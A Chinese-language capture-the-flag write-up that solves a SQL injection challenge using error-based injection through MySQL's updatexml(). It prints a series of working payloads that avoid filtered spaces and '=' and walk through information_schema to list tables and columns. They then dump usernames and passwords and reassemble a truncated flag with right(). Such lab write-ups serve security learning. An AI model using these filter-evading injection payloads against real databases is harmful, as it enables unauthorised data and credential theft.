先用一下常规payload
发现应该是被过滤了
用字典爆破发现这些字符的回显都是相同的
根据错误,猜测是报错注入,(这里不是很明白怎么看出是报错注入的),有会的师傅可以评论一下
然后我们尝试使用报错注入的payload:
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
我们这里来了解一下updatexml()这个函数
updatexml(xml_doument,XPath_string,new_value) 第一个参数:XML的内容 第二个参数:是需要update的位置XPATH路径 第三个参数:是更新后的内容 所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式 函数利用和语法明白了,上面注入的payload就清楚明白
这里由于concat()得到的字符串不符合XPath_string,所以会出现XPATH syntax error这个错误
0x7e就是~符号,因为这个~符号不符合XPATH格式,所以会进行报错
所以我们输入上述的payload之后可以查到数据库的名字
查到数据库名之后,继续查一下表名
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#
这里用括号,用like的原因是因为=和空格都被过滤了,我们如果用空格和=的话都会出现这样的界面
查完表名,再查列名
先用这个payload: 1'or(updatexml(1,concat(0x7e,(select(concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
发现结果回显超过一行,所以我们里面的那个concat改成group_concat()
group_concat()函数的作用就是把所有的结果连接之后在同一行进行输出
重新输入新的payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
查到了列名,然后我们继续查询这些列里面相应的内容就可以
payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(0x7e,id,0x7e,username,0x7e,password))from(H4rDsq1)),0x7e),1))#
可以发现,我们这里只查到了一部分的flag,这里的话我们就要用到right函数了
我们这里介绍一下right函数的用法
RIGHT(str,len)
返回字符串str最右边的 len 个字符,如果任意参数为NULL返回NULL。
然后因为我们这里只显示了前面部分的flag,所以我们要用right函数,去显示flag右边的部分
构造payload:1'or(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))#
这里发现没有重复的地方,我们更改数值再查一次
1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))#
可以发现,出现了重复的地方,所以我们只要把两个部分的flag去重,然后进行提交就可以
~~1~flag~flag{7566e8ce-72b2-4d45
e-72b2-4d45-ac97-5a78b0d37426}
进行拼接之后就是
flag{7566e8ce-72b2-4d45-ac97-5a78b0d37426}